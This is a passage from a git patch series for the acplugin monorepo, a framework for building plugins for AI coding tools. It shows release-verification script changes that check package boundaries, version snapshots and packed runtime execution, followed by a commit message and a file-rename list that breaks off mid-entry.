阶段改写。 */ + const [claudeBytes, codexBytes] = await Promise.all([fs.readFile(claude), fs.readFile(codex)]); + assert(claudeBytes.equals(codexBytes), 'Node Runtime Bundle differs between Claude Code and Codex.'); + for (const runtime of [claude, codex]) { + assert(((await fs.stat(runtime)).mode & 0o777) === 0o755, 'Executable Node Runtime has the wrong mode.'); + assert(!await exists(path.join(path.dirname(runtime), 'THIRD_PARTY_LICENSES.txt')), 'Dependency-free Node Runtime emitted a spurious license inventory.'); + /** 当前平台安装文件的真实 Node 子进程执行结果。 */ + const execution = await runProtocol(runtime, [], ''); + assert(execution.code === 0 && execution.stderr === '', 'Node Runtime failed its real execution smoke.'); + assert(execution.stdout === '{"framework":"acplugin","status":"ready"}\n', 'Node Runtime emitted an unexpected result.'); + } + /** 首期没有稳定 Plugin-local Node 契约的平台输出根。 */ + const unsupported = { + antigravity: 'antigravity/plugin', + cursor: 'cursor/plugin', + opencode: 'opencode/workspace', + pi: 'pi/package', + }; + for (const [platform, unit] of Object.entries(unsupported)) { + assert( + !await exists(path.join(outputRoot, unit, 'runtime/playground/main.mjs')), + `${platform} emitted an unsupported Node Runtime Asset.`, + ); + } +} + /** 扫描稳定报告与所有生成文件,拒绝绝对路径和 Secret 值泄漏。 */ async function verifyStableOutputSafety(report) { /** 报告不得包含宿主路径或构建期 Secret 值。 */ @@ -794,29 +837,31 @@ async function verifyStableOutputSafety(report) { /** 运行完整 Playground validate、双 build、内容协议和确定性检查。 */ async function main() { - /** 真实 validate 产生但不提交的完整 BuildResult。 */ + /** 真实 validate 产生但不提交的完整 BuildReport。 */ const validation = await runCli('validate'); verifyReport(validation, 'validate'); /** 第一次真实 build 负责提交随后检查的六平台输出。 */ const firstBuild = await runCli('build'); verifyReport(firstBuild, 'build'); /** validate/build 除命令和提交状态外必须拥有相同的稳定结构。 */ - for (const field of ['compatibility', 'diagnostics', 'documents', 'extensions', 'metadata', 'platformDetails', 'platforms']) + for (const field of ['compatibility', 'components', 'diagnostics', 'extensions', 'metadata', 'platforms', 'runtimes']) assert(JSON.stringify(validation[field]) === JSON.stringify(firstBuild[field]), `validate/build differ in stable report field ${field}.`); - /** command 会改变临时 Hook workDir,但不能改变交付结构、size、mode 或 owner。 */ - const deliveryShape = report => report.deliveryUnits.map(unit => ({ + /** command 会改变临时工作目录,但不能改变 Package 结构、size、mode、origin 或 owner。 */ + const packageShape = report => report.packages.map(unit => ({ platform: unit.platform, id: unit.id, role: unit.role, type: unit.type, - artifacts: unit.artifacts.map(({ sha256: _sha256, ...artifact }) => artifact), + validated: unit.validated, + assets: unit.assets.map(({ sha256: _sha256, ...asset }) => asset), })); - assert(JSON.stringify(deliveryShape(validation)) === JSON.stringify(deliveryShape(firstBuild)), 'validate/build differ in DeliveryUnit structure.'); + assert(JSON.stringify(packageShape(validation)) === JSON.stringify(packageShape(firstBuild)), 'validate/build differ in Package structure.'); await verifyArtifactClosure(firstBuild); await verifyCanonicalOutputs(); await verifyManifestsAndDistributions(); await verifyHooks(); await verifyMcp(); + await verifyNodeRuntime(); await verifyStableOutputSafety(firstBuild); /** 第一次构建后完整产物树的权限与字节快照。 */ diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs index 0fb78ee..7b604d7 100644 --- a/scripts/verify-release.mjs +++ b/scripts/verify-release.mjs @@ -8,23 +8,20 @@ import { fileURLToPath, URL } from 'node:url'; import { checkPackage, createPackageFromTarballData } from '@arethetypeswrong/core'; import { init as initializeModuleLexer, parse as parseModule } from 'es-module-lexer'; import { publint } from 'publint'; +import { mainPublicPackageName, publicPackageManifestPaths } from './public-packages.mjs'; /** 当前 monorepo 根目录。 */ const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); +/** init、Migration 与发布验证共享的公开生态精确版本快照。 */ +const ecosystemVersions = JSON.parse(await fs.readFile(path.join(root, 'packages/acplugin/src/ecosystem-versions.json'), 'utf8')); /** 同一 revision 中独立版本化并共同验证的全部公开包。 */ -const packages = [ - { name: '@tokenroll/acplugin' }, - { name: '@tokenroll/acplugin-platform-claude-code' }, - { name: '@tokenroll/acplugin-platform-codex' }, - { name: '@tokenroll/acplugin-platform-cursor' }, - { name: '@tokenroll/acplugin-platform-antigravity' }, - { name: '@tokenroll/acplugin-platform-opencode' }, - { name: '@tokenroll/acplugin-platform-pi' }, - { name: '@tokenroll/acplugin-extension-hooks' }, - { name: '@tokenroll/acplugin-extension-mcp' }, -]; +const packages = await Promise.all(publicPackageManifestPaths.map(async (manifestPath) => { + /** manifest 是公开目录的唯一包名来源,不能依赖生成 JSON 的键位置。 */ + const manifest = JSON.parse(await fs.readFile(path.join(root, manifestPath), 'utf8')); + return Object.freeze({ name: manifest.name }); +})); /** 主包之外必须通过 Peer Dependency 连接主包的官方生态包名。 */ -const integrationNames = new Set(packages.slice(1).map(item => item.name)); +const integrationNames = new Set(packages.map(item => item.name).filter(name => name !== mainPublicPackageName)); /** 发布 tarball 运行时依赖中绝不能出现的私有工作区包名。 */ const privateNames = new Set([ '@acplugin/core', @@ -110,6 +107,72 @@ function assert(condition, message) { throw new Error(message); } +/** 发现当前 workspace 中全部公开 package.json,不维护第二份包名列表。 */ +async function publicWorkspaceManifests() { + /** roots 是正式公开包只允许出现的三个 workspace 分区。 */ + const roots = [ + path.join(root, 'packages/acplugin'), + path.join(root, 'packages/platforms'), + path.join(root, 'packages/extensions'), + ]; + /** manifests 按 package name 索引实际文件和解析结果。 */ + const manifests = new Map(); + for (const workspaceRoot of roots) { + /** acplugin 根直接包含 package.json;其余分区包含一级包目录。 */ + const candidates = path.basename(workspaceRoot) === 'acplugin' + ? [workspaceRoot] + : (await fs.readdir(workspaceRoot, { withFileTypes: true })) + .filter(entry => entry.isDirectory()) + .map(entry => path.join(workspaceRoot, entry.name)); + for (const directory of candidates) { + /** manifestPath 是当前候选公开包清单。 */ + const manifestPath = path.join(directory, 'package.json'); + /** manifest 只用于发布前静态一致性验证。 */ + const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8')); + if (typeof manifest.name === 'string' && manifest.name.startsWith('@tokenroll/')) + manifests.set(manifest.name, { manifest, manifestPath }); + } + } + return manifests; +} + +/** 验证版本快照、workspace manifests 与未消费 Changeset target 一致。 */ +async function verifyEcosystemVersionSnapshot() { + /** manifests 是 workspace 当前九个公开包的真实版本源。 */ + const manifests = await publicWorkspaceManifests(); + assert(manifests.size === packages.length, 'Public package version snapshot does not cover the workspace package set.'); + for (const [name, version] of Object.entries(ecosystemVersions)) { + /** current 是对应 workspace package 的真实清单。 */ + const current = manifests.get(name); + assert(current !== undefined, `Version snapshot references missing public package ${name}.`); + assert(current.manifest.version === version, `Version snapshot for ${name} must equal workspace version ${current.manifest.version}.`); + } + /** Changeset frontmatter 中出现的公开 target 必须来自同一快照。 */ + const changesetDirectory = path.join(root, '.changeset'); + /** markdown 是仍未被 version 命令消费的 Changeset 文件。 */ + const markdown = (await fs.readdir(changesetDirectory)).filter(file => file.endsWith('.md') && file !== 'README.md'); + for (const file of markdown) { + /** source 只解析 Changeset 固定 YAML frontmatter 的 package key。 */ + const source = await fs.readFile(path.join(changesetDirectory, file), 'utf8'); + /** frontmatter 缺失时交给 Changesets 自身质量门报告。 */ + const frontmatter = /^---\r?\n([\s\S]*?)\r?\n---/u.exec(source)?.[1] ?? ''; + for (const match of frontmatter.matchAll(/^"([^"]+)":\s+(?:patch|minor|major)$/gmu)) { + /** target 是当前 Changeset 请求升级的公开包。 */ + const target = match[1]; + assert(Object.hasOwn(ecosystemVersions, target), `Changeset ${file} targets package outside the public version snapshot: ${target}.`); + } + } +} + +/** 验证脚手架或 Migration 生成的公开依赖范围使用单一版本快照。 */ +function verifyGeneratedDependencyRanges(manifest, names, label) { + for (const name of names) { + /** expected 是当前公开包精确版本对应的兼容范围。 */ + const expected = `^${ecosystemVersions[name]}`; + assert(manifest.devDependencies?.[name] === expected, `${label} dependency ${name} must equal ${expected}.`); + } +} + /** * 递归列出一个目录中的全部 ESM 运行时文件。 * @@ -271,7 +334,7 @@ async function verifyIntegrationModuleGraph(packageRoot, manifest) { /** 全部运行时模块源码,用于检查公开 peer 边和私有 namespace 泄漏。 */ const source = (await Promise.all(files.map(file => fs.readFile(path.join(packageRoot, file), 'utf8')))).join('\n'); assert(manifest.peerDependencies?.['@tokenroll/acplugin'] !== undefined, `${manifest.name} must peer-depend on @tokenroll/acplugin.`); - assert(source.includes('from "@tokenroll/acplugin"'), `${manifest.name} runtime must import the public @tokenroll/acplugin SDK.`); + assert(source.includes('from "@tokenroll/acplugin/sdk"'), `${manifest.name} runtime must import the public @tokenroll/acplugin/sdk integration boundary.`); assert(!source.includes('@acplugin/'), `${manifest.name} runtime leaks a private @acplugin/* import.`); for (const integration of integrationNames) { if (integration !== manifest.name) @@ -313,10 +376,6 @@ async function inspectTarball(tarball, expectedName, extractRoot) { assert(leaked.length === 0, `${expectedName} tarball leaks source/test files: ${leaked.join(', ')}`); assert(listed.includes('package/README.md'), `${expectedName} tarball is missing README.md.`); assert(listed.includes('package/LICENSE'), `${expectedName} tarball is missing LICENSE.`); - // 本地 stdio 只在 MCP Extension 中按需加载,因此该独立入口必须随正式包发布。 - if (expectedName === '@tokenroll/acplugin-extension-mcp') - assert(listed.includes('package/dist/bundler.mjs'), `${expectedName} tarball is missing the local stdio Bundler entry.`); - /** 当前包独占的安全解压目录。 */ const destination = path.join(extractRoot, expectedName.replace(/[^a-z0-9]+/gi, '-')); await fs.mkdir(destination, { recursive: true }); @@ -408,7 +467,11 @@ async function verifyMainOnlyMigration(mainTarball, temporary) { await fs.access(path.join(consumer, 'migrated/src/mcp/docs/mcp.ts')); /** 迁移结果必须声明独立 Platform package,而不是依赖主包历史 re-export。 */ const generatedManifest = JSON.parse(await fs.readFile(path.join(consumer, 'migrated/package.json'), 'utf8')); - assert(generatedManifest.devDependencies?.['@tokenroll/acplugin-platform-claude-code']?.startsWith('^') === true, 'Migration did not declare the independent Claude Code Platform package.'); + verifyGeneratedDependencyRanges(generatedManifest, [ + '@tokenroll/acplugin', + '@tokenroll/acplugin-platform-claude-code', + '@tokenroll/acplugin-extension-mcp', + ], 'Migration'); /** 迁移结果的配置源码必须从独立包加载工厂。 */ const generatedConfig = await fs.readFile(path.join(consumer, 'migrated/acplugin.config.ts'), 'utf8'); assert(generatedConfig.includes('from \'@tokenroll/acplugin-platform-claude-code\''), 'Migration config still relies on a main-package Platform export.'); @@ -436,6 +499,7 @@ async function verifyConsumer(tarballs, temporary) { const consumer = path.join(temporary, 'consumer'); await fs.mkdir(path.join(consumer, 'src/skills/hello'), { recursive: true }); await fs.mkdir(path.join(consumer, 'src/hooks/policy'), { recursive: true }); + await fs.mkdir(path.join(consumer, 'src/runtime'), { recursive: true }); /** 只指向本次打包 tarball 的消费者依赖。 */ const dependencies = Object.fromEntries(packages.map(item => [item.name, `file:${tarballs.get(item.name)}`])); await fs.writeFile(path.join(consumer, 'package.json'), `${JSON.stringify({ @@ -467,7 +531,7 @@ async function verifyConsumer(tarballs, temporary) { include: ['acplugin.config.ts', 'src/**/*.ts'], }, null, 2)}\n`); await fs.writeFile(path.join(consumer, 'acplugin.config.ts'), `import { defineConfig } from '@tokenroll/acplugin'; -import { definePlatform } from '@tokenroll/acplugin'; +import { definePlatform } from '@tokenroll/acplugin/sdk'; import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import codex from '@tokenroll/acplugin-platform-codex'; import hooks from '@tokenroll/acplugin-extension-hooks'; @@ -477,9 +541,25 @@ const external = definePlatform({ id: 'external-fixture', apiVersion: '1', deliveryType: 'plugin', - prepare: () => ({ documents: [], artifacts: [] }), - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - validateBundle() {}, + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], + assets: [], + compatibility: [...project.commands, ...project.skills, ...project.agents].map(component => ({ + subject: \`\${component.kind}:\${component.id}\`, + capability: 'component', + level: 'native' as const, + reason: 'The external fixture accepts this canonical Component.', + })), + metadata: ['name', 'version', 'description'].map(field => ({ + field, + disposition: 'omitted' as const, + reason: 'The empty external fixture intentionally omits metadata.', + })), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage() {}, + }), }); export default defineConfig({ @@ -487,24 +567,26 @@ export default defineConfig({ version: '1.0.0', description: 'Clean tarball consumer.', platforms: [claudeCode(), codex(), external], + runtime: { entries: { consumer: { entry: 'main.ts' } } }, extensions: [hooks(), mcp()], build: { strict: false }, }); `); + await fs.writeFile(path.join(consumer, 'src/runtime/main.ts'), `process.stdout.write('packed-runtime-ready\\n');\n`); await fs.writeFile(path.join(consumer, 'src/skills/hello/SKILL.md'), `--- description: Verify the packed consumer. --- Validate that both default Platform packages can be built from installed tarballs. `); - await fs.writeFile(path.join(consumer, 'src/hooks/policy/hook.ts'), `import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + await fs.writeFile(path.join(consumer, 'src/hooks/policy/hook.ts'), `import type { Hook } from '@tokenroll/acplugin-extension-hooks'; -export default defineHook({ +export default { event: 'PreToolUse', matcher: 'Bash', run(input) { return input.toolName === 'Bash' ? { decision: 'allow' } : undefined; }, -}); +} satisfies Hook<'PreToolUse'>; `); await run('pnpm', ['install', '--ignore-workspace'], consumer); @@ -515,7 +597,7 @@ export default defineHook({ /** packed 主包同时接受官方 peer package 与第三方形态 Platform 的验证报告。 */ const validateReport = JSON.parse(validate.stdout); assert(validateReport.success === true, 'Packed consumer validation failed.'); - assert(validateReport.platforms.includes('external-fixture'), 'Packed consumer rejected the external Platform shape.'); + assert(validateReport.platforms.some(platform => platform.id === 'external-fixture' && platform.success), 'Packed consumer rejected the external Platform shape.'); /** 安装产物执行默认双 Platform build 的机器可读结果。 */ const build = await run('pnpm', ['exec', 'acplugin', 'build', '--json'], consumer, { capture: true }); assert(JSON.parse(build.stdout).success === true, 'Packed consumer build failed.'); @@ -523,6 +605,14 @@ export default defineHook({ await fs.access(path.join(consumer, 'dist/codex/plugin/.codex-plugin/plugin.json')); await fs.access(path.join(consumer, 'dist/claude-code/plugin/hooks/policy/handler.mjs')); await fs.access(path.join(consumer, 'dist/codex/plugin/hooks/policy/handler.mjs')); + /** Claude Code 安装的 packed consumer Runtime。 */ + const claudeRuntime = path.join(consumer, 'dist/claude-code/plugin/runtime/consumer/main.mjs'); + /** Codex 安装的同一 packed consumer Runtime。 */ + const codexRuntime = path.join(consumer, 'dist/codex/plugin/runtime/consumer/main.mjs'); + assert((await fs.readFile(claudeRuntime)).equals(await fs.readFile(codexRuntime)), 'Packed consumer Runtime bytes differ between native Platforms.'); + /** 当前发布 Node 版本下的真实 Runtime 子进程结果。 */ + const runtimeExecution = await run(process.execPath, [codexRuntime], consumer, { capture: true }); + assert(runtimeExecution.stdout === 'packed-runtime-ready\n' && runtimeExecution.stderr === '', 'Packed consumer Runtime did not execute on the release Node version.'); /** 使用已安装正式 CLI 生成六 Platform、两空 Extension 的真实脚手架。 */ const init = await run('pnpm', [ @@ -535,6 +625,9 @@ export default defineHook({ assert(initResult.platforms.length === 6, 'Packed CLI init did not preserve all selected Platforms.'); /** 与调用工程隔离的新脚手架消费根。 */ const generated = path.join(consumer, 'generated-plugin'); + /** pin 前先证明已发布 CLI 使用当前快照生成全部公开依赖范围。 */ + const generatedManifest = JSON.parse(await fs.readFile(path.join(generated, 'package.json'), 'utf8')); + verifyGeneratedDependencyRanges(generatedManifest, packages.map(item => item.name), 'Init scaffold'); await pinScaffoldTarballs(generated, tarballs); await run('pnpm', ['install', '--ignore-workspace'], generated); await run('pnpm', ['run', 'typecheck'], generated); @@ -553,6 +646,7 @@ export default defineHook({ * 打包九个独立公开包、验证 Peer 关系,并执行干净消费者测试。 */ async function main() { + await verifyEcosystemVersionSnapshot(); /** CI 可显式保留 tarball;本地无参数调用仍完全使用临时目录。 */ const retained = await retainedTarballDirectory(process.argv.slice(2)); /** 无论成功失败默认都会删除的发布验证临时目录。 */ @@ -584,7 +678,7 @@ async function main() { await verifyConsumer(tarballs, temporary); /** 输出独立包版本,避免把同 revision 验证误表述为 fixed cohort。 */ const versions = packages.map(item => `${item.name}@${manifests.get(item.name).version}`).join(', '); - process.stdout.write(`Verified nine independent public tarballs in a clean consumer: ${versions}.\n`); + process.stdout.write(`Verified ${packages.length} independent public tarballs in a clean consumer: ${versions}.\n`); if (retained) process.stdout.write(`Verified tarballs retained at ${retained}\n`); } finally { diff --git a/tsconfig.base.json b/tsconfig.base.json index ecaa747..954563e 100644 --- a/tsconfig.base.json +++ b/tsconfig.base.json @@ -5,7 +5,10 @@ "moduleResolution": "NodeNext", "paths": { "@acplugin/core": ["./packages/core/src/index.ts"], + "@acplugin/core/kernel-author": ["./packages/core/src/kernel-author.ts"], + "@acplugin/core/kernel-sdk": ["./packages/core/src/kernel-sdk.ts"], "@tokenroll/acplugin": ["./packages/acplugin/src/index.ts"], + "@tokenroll/acplugin/sdk": ["./packages/acplugin/src/sdk.ts"], "@tokenroll/acplugin-platform-antigravity": ["./packages/platforms/antigravity/src/index.ts"], "@tokenroll/acplugin-platform-claude-code": ["./packages/platforms/claude-code/src/index.ts"], "@tokenroll/acplugin-platform-codex": ["./packages/platforms/codex/src/index.ts"], From 51d68522ba6044fb60d06573491d4504688ddf56 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Thu, 20 Aug 2026 13:57:48 +0800 Subject: [PATCH 24/27] feat(tests): add package boundaries tests for published packages - Introduced a new test suite in to validate the boundaries of published packages, ensuring private workspace dependencies are not leaked. - Implemented checks for the Core Build Service usage in MCP entry and verified that each Platform package adheres to its public factory contract. - Added tests to ensure the main package is externalized from all Platform and Extension packages, and confirmed only the intended packages are published. refactor(tests): update vitest configuration for core and author integration - Updated the vitest configuration to reflect changes in the core package structure, replacing kernel-sdk and kernel-author with integration and author paths. chore(scripts): synchronize ecosystem versions and update paths - Modified paths in and to point to the new ecosystem versions JSON file location. - Adjusted the comment coverage configuration to include additional files and remove obsolete paths. fix(tsconfig): correct path mappings for core API - Updated TypeScript path mappings in to align with the new API structure, replacing kernel paths with author and integration paths. --- .agents/skills/add-converter/SKILL.md | 6 +- .../0001-lifecycle-determinism-and-cache.md | 10 +- ...1-lifecycle-determinism-and-cache.zh-CN.md | 10 +- .../0002-extension-contribution-order.md | 8 +- ...0002-extension-contribution-order.zh-CN.md | 8 +- .../0004-first-class-platform-packages.md | 2 +- ...004-first-class-platform-packages.zh-CN.md | 2 +- llmdoc/guides/package-code-tour.zh-CN.md | 92 +- llmdoc/overview/project.md | 2 +- llmdoc/overview/project.zh-CN.md | 2 +- llmdoc/reference/conversion-matrix.md | 10 +- llmdoc/reference/conversion-matrix.zh-CN.md | 10 +- llmdoc/state/sync.md | 10 +- packages/acplugin/src/{ => author}/project.ts | 4 +- packages/acplugin/src/cli.ts | 387 +--- packages/acplugin/src/cli/commands/build.ts | 9 + packages/acplugin/src/cli/commands/dev.ts | 82 + packages/acplugin/src/cli/commands/init.ts | 61 + packages/acplugin/src/cli/commands/inspect.ts | 9 + packages/acplugin/src/cli/commands/migrate.ts | 58 + .../acplugin/src/cli/commands/pipeline.ts | 30 + .../acplugin/src/cli/commands/validate.ts | 9 + packages/acplugin/src/cli/options.ts | 19 + packages/acplugin/src/cli/output.ts | 107 + packages/acplugin/src/cli/program.ts | 62 + .../framework-version.ts} | 2 +- .../versions.json} | 0 .../versions.ts} | 2 +- packages/acplugin/src/index.ts | 16 +- packages/acplugin/src/init.ts | 396 ---- packages/acplugin/src/migration/ids.ts | 68 + packages/acplugin/src/migration/index.ts | 1717 +---------------- packages/acplugin/src/migration/metadata.ts | 335 ++++ packages/acplugin/src/migration/types.ts | 55 + packages/acplugin/src/migration/validation.ts | 240 +++ .../src/migration/writers/components.ts | 421 ++++ .../acplugin/src/migration/writers/hooks.ts | 103 + .../acplugin/src/migration/writers/mcp.ts | 97 + .../acplugin/src/migration/writers/project.ts | 224 +++ .../acplugin/src/migration/writers/shared.ts | 103 + packages/acplugin/src/scaffolding/init.ts | 86 + packages/acplugin/src/scaffolding/prompts.ts | 188 ++ .../acplugin/src/scaffolding/templates.ts | 146 ++ packages/acplugin/src/sdk.ts | 2 +- packages/acplugin/test/dev-session.test.ts | 12 +- packages/acplugin/test/project.test.ts | 4 +- packages/acplugin/test/sdk-boundary.test.ts | 2 +- packages/core/package.json | 12 +- .../src/{kernel-author.ts => api/author.ts} | 6 +- .../definitions.ts} | 85 +- .../src/{kernel-sdk.ts => api/integration.ts} | 9 +- .../{compiler-host.ts => compiler-service.ts} | 27 +- packages/core/src/compiler/job-normalizer.ts | 10 +- .../core/src/compiler/license-pipeline.ts | 6 +- .../auditor.ts} | 11 +- .../boundary.ts} | 5 +- .../options.ts} | 7 +- .../auditor.ts} | 13 +- .../options.ts} | 5 +- .../policy.ts} | 5 +- .../config-resolver.ts => config/resolver.ts} | 16 +- packages/core/src/contracts/common.ts | 19 + packages/core/src/contracts/compiler.ts | 158 ++ packages/core/src/contracts/components.ts | 97 + packages/core/src/contracts/config.ts | 99 + packages/core/src/contracts/index.ts | 9 + packages/core/src/contracts/integrations.ts | 268 +++ packages/core/src/contracts/packages.ts | 142 ++ packages/core/src/contracts/project.ts | 62 + packages/core/src/contracts/reports.ts | 132 ++ packages/core/src/contracts/services.ts | 149 ++ packages/core/src/index.ts | 17 +- packages/core/src/kernel-types.ts | 1030 ---------- packages/core/src/kernel/build-session.ts | 1077 ----------- .../core/src/lifecycle/build-environment.ts | 66 + packages/core/src/lifecycle/build-session.ts | 556 ++++++ .../src/{kernel => lifecycle}/dev-session.ts | 9 +- .../src/lifecycle/integration-sessions.ts | 254 +++ .../core/src/lifecycle/platform-pipeline.ts | 310 +++ .../session-scope.ts} | 0 packages/core/src/output/lock.ts | 429 ++++ packages/core/src/output/recovery.ts | 80 + packages/core/src/output/transaction-files.ts | 405 ++++ packages/core/src/output/transaction.ts | 201 ++ .../src/package/candidate-materializer.ts | 9 +- ...atibility-registry.ts => compatibility.ts} | 17 +- ...tribution-registry.ts => distributions.ts} | 11 +- .../{document-codec.ts => documents.ts} | 7 +- packages/core/src/package/json-snapshot.ts | 81 +- .../{package-registry.ts => registry.ts} | 25 +- packages/core/src/package/report-builder.ts | 8 +- .../core/src/{kernel => project}/project.ts | 22 +- .../core/src/resources/canonical-provider.ts | 680 ------- .../core/src/resources/canonical/agents.ts | 78 + .../core/src/resources/canonical/commands.ts | 61 + .../core/src/resources/canonical/provider.ts | 130 ++ .../core/src/resources/canonical/shared.ts | 326 ++++ .../core/src/resources/canonical/skills.ts | 105 + .../{extension-provider.ts => extensions.ts} | 47 +- packages/core/src/resources/project-graph.ts | 6 +- .../{public-provider.ts => public.ts} | 21 +- .../{resource-registry.ts => registry.ts} | 14 +- .../{runtime-paths.ts => runtime/paths.ts} | 2 +- .../provider.ts} | 23 +- .../src/{kernel => security}/data-boundary.ts | 2 +- packages/core/src/security/json-snapshot.ts | 136 ++ .../src/{kernel => security}/path-policy.ts | 2 +- .../src/{kernel => security}/report-safety.ts | 2 +- packages/core/src/serialization/documents.ts | 23 + packages/core/src/serialization/index.ts | 2 + .../json.ts} | 23 - .../asset-registry.ts => services/assets.ts} | 12 +- .../diagnostics.ts} | 13 +- .../execution.ts} | 8 +- .../{kernel => services}/extension-state.ts | 10 +- .../module-host.ts => services/modules.ts} | 17 +- .../sources.ts} | 6 +- .../watch-registry.ts => services/watch.ts} | 4 +- .../{kernel => services}/work-directories.ts | 4 +- packages/core/src/transaction.ts | 1039 ---------- .../{ => compiler}/compiler-managed.test.ts | 14 +- .../{ => compiler}/compiler-portable.test.ts | 16 +- .../{ => compiler}/compiler-portable.types.ts | 2 +- .../test/{ => config}/config-resolver.test.ts | 4 +- .../integration-definitions.test.ts} | 8 +- .../core/test/contracts/json-snapshot.test.ts | 78 + .../{ => lifecycle}/build-session.test.ts | 8 +- .../dev-session-faults.test.ts | 14 +- .../transaction.test.ts} | 16 +- .../candidate-materializer.test.ts | 12 +- .../compatibility.test.ts} | 8 +- .../distribution-registry.test.ts | 12 +- .../test/{ => package}/document-codec.test.ts | 4 +- .../{ => package}/package-registry.test.ts | 12 +- .../report-builder.test.ts} | 14 +- .../canonical-provider.test.ts | 20 +- .../extension-provider.test.ts | 16 +- .../{ => resources}/project-graph.test.ts | 4 +- .../{ => resources}/public-provider.test.ts | 18 +- .../{ => resources}/resource-registry.test.ts | 14 +- .../{ => resources}/runtime-paths.test.ts | 2 +- .../{ => resources}/runtime-provider.test.ts | 8 +- .../{ => services}/asset-registry.test.ts | 10 +- .../{ => services}/execution-host.test.ts | 16 +- .../test/{ => services}/module-host.test.ts | 10 +- .../{ => services}/source-registry.test.ts | 6 +- .../{ => services}/watch-registry.test.ts | 4 +- packages/core/tsdown.config.ts | 6 +- packages/extensions/hooks/src/build.ts | 4 +- .../hooks/src/contributors/opencode.ts | 2 +- .../extensions/hooks/src/contributors/pi.ts | 2 +- packages/extensions/hooks/src/discovery.ts | 82 +- .../integration.ts} | 4 +- .../{runtime-source.ts => runtime/runner.ts} | 2 +- .../src/{wire-source.ts => runtime/wire.ts} | 2 +- .../hooks/test/authoring-discovery.test.ts | 162 ++ packages/extensions/hooks/test/build.test.ts | 119 ++ .../hooks/test/contributors.test.ts | 152 ++ packages/extensions/hooks/test/fixture.ts | 348 ++++ packages/extensions/hooks/test/hooks.test.ts | 974 ---------- .../extensions/hooks/test/protocol.test.ts | 216 +++ packages/extensions/mcp/src/discovery.ts | 61 +- .../mcp/test/authoring-discovery.test.ts | 121 ++ .../mcp/test/build-contributors.test.ts | 77 + .../mcp/test/discovery-validation.test.ts | 104 + packages/extensions/mcp/test/fixture.ts | 274 +++ packages/extensions/mcp/test/mcp.test.ts | 644 ------- packages/extensions/mcp/test/protocol.test.ts | 88 + packages/platforms/antigravity/src/index.ts | 8 +- .../src/{ => package}/components.ts | 0 .../antigravity/src/{ => package}/manifest.ts | 0 .../src/{ => package}/validator.ts | 0 .../antigravity/test/platform.test.ts | 2 +- packages/platforms/claude-code/src/index.ts | 6 +- .../src/{ => package}/components.ts | 0 .../claude-code/src/{ => package}/manifest.ts | 2 +- .../src/package/validation/hooks.ts | 315 +++ .../src/package/validation/index.ts | 20 + .../src/package/validation/manifest.ts | 148 ++ .../src/package/validation/marketplace.ts | 113 ++ .../claude-code/src/package/validation/mcp.ts | 135 ++ .../src/package/validation/shared.ts | 126 ++ .../platforms/claude-code/src/validator.ts | 811 -------- .../claude-code/test/platform.test.ts | 2 +- packages/platforms/codex/src/index.ts | 6 +- .../codex/src/{ => package}/components.ts | 0 .../codex/src/{ => package}/manifest.ts | 2 +- .../codex/src/{ => package}/protocol.ts | 0 .../codex/src/package/validation/assets.ts | 146 ++ .../codex/src/package/validation/hooks.ts | 276 +++ .../codex/src/package/validation/index.ts | 22 + .../codex/src/package/validation/manifest.ts | 108 ++ .../src/package/validation/marketplace.ts | 110 ++ .../codex/src/package/validation/mcp.ts | 127 ++ .../codex/src/package/validation/shared.ts | 181 ++ .../codex/src/package/validation/skills.ts | 272 +++ packages/platforms/codex/src/types.ts | 4 +- packages/platforms/codex/src/validator.ts | 1169 ----------- .../platforms/codex/test/platform.test.ts | 2 +- packages/platforms/cursor/src/index.ts | 6 +- .../cursor/src/{ => package}/components.ts | 0 .../cursor/src/{ => package}/manifest.ts | 2 +- .../cursor/src/{ => package}/validator.ts | 0 .../platforms/cursor/test/platform.test.ts | 2 +- packages/platforms/opencode/src/index.ts | 6 +- .../opencode/src/{ => package}/components.ts | 0 .../src/{ => package}/config-document.ts | 2 +- .../opencode/src/{ => package}/validator.ts | 0 .../platforms/opencode/test/platform.test.ts | 2 +- packages/platforms/pi/src/index.ts | 6 +- .../pi/src/{ => package}/components.ts | 0 .../pi/src/{ => package}/manifest.ts | 2 +- .../pi/src/{ => package}/validator.ts | 0 packages/platforms/pi/test/platform.test.ts | 4 +- packages/platforms/pi/vitest.config.ts | 4 +- .../test/{ => api}/extension-api.types.ts | 0 .../test/test/{ => api}/legacy-api.types.ts | 0 .../test/test/{ => api}/public-api.types.ts | 0 packages/test/test/{ => api}/sdk-api.types.ts | 4 + .../{ => api}/sdk-package-boundary.test.ts | 2 +- .../{ => architecture}/architecture.test.ts | 4 +- .../integration-boundaries.test.ts} | 31 +- .../{ => architecture}/repository.test.ts | 2 +- .../workspace-layout.test.ts | 2 +- .../test/{ => architecture}/workspace.test.ts | 0 packages/test/test/{ => cli}/build.test.ts | 0 packages/test/test/{ => cli}/cli.test.ts | 12 +- packages/test/test/{ => cli}/init.test.ts | 0 .../test/test/{ => extensions}/hooks.test.ts | 2 +- .../test/{ => platforms}/claude-code.test.ts | 2 +- .../test/test/{ => platforms}/codex.test.ts | 2 +- .../secondary-platforms.test.ts | 2 +- .../{ => release}/comment-coverage.test.ts | 2 +- .../{ => release}/ecosystem-contract.test.ts | 0 .../{ => release}/package-boundaries.test.ts | 2 +- packages/test/vitest.config.ts | 4 +- scripts/comment-coverage.json | 343 ++-- scripts/sync-ecosystem-versions.mjs | 2 +- scripts/verify-release.mjs | 2 +- tsconfig.base.json | 4 +- 240 files changed, 11509 insertions(+), 10848 deletions(-) rename packages/acplugin/src/{ => author}/project.ts (86%) create mode 100644 packages/acplugin/src/cli/commands/build.ts create mode 100644 packages/acplugin/src/cli/commands/dev.ts create mode 100644 packages/acplugin/src/cli/commands/init.ts create mode 100644 packages/acplugin/src/cli/commands/inspect.ts create mode 100644 packages/acplugin/src/cli/commands/migrate.ts create mode 100644 packages/acplugin/src/cli/commands/pipeline.ts create mode 100644 packages/acplugin/src/cli/commands/validate.ts create mode 100644 packages/acplugin/src/cli/options.ts create mode 100644 